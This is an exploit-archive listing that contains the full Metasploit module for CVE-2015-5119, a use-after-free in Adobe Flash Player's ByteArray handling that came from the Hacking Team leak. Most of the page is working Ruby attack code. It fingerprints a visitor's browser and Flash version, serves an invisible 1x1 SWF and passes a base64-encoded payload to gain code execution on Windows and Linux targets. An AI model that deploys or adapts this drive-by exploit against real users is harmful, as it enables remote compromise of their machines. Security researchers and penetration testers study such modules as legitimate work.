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Adobe Flash Player ByteArray Use After Free

Adobe Flash Player ByteArray Use After Free
Posted Jul 8, 2015
Authored by sinn3r, juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits a use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as a Use After Free while handling ByteArray objects. This Metasploit module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.

tags | exploit
systems | linux, windows, 7
advisories | CVE-2015-5119
MD5 | dc11e64b010a4d6231a64eb427ed64f5

Adobe Flash Player ByteArray Use After Free

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray Use After Free',
'Description' => %q{
This module exploits an use after free on Adobe Flash Player. The vulnerability,
discovered by Hacking Team and made public on its July 2015 data leak, was
described as an Use After Free while handling ByteArray objects. This module has
been tested successfully on:

Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Someone from HackingTeam
'juan vazquez', # msf module
'sinn3r' # msf module
],
'References' =>
[
['CVE', '2015-5119'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-03.html'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81 ||
os =~ OperatingSystems::Match::WINDOWS_VISTA ||
os =~ OperatingSystems::Match::WINDOWS_XP
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end

false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
# Note: Chrome might be vague about the version.
# Instead of 18.0.0.203, it just says 18.0
return true if Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
end

false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 06 2015',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]

if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5119', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end
end

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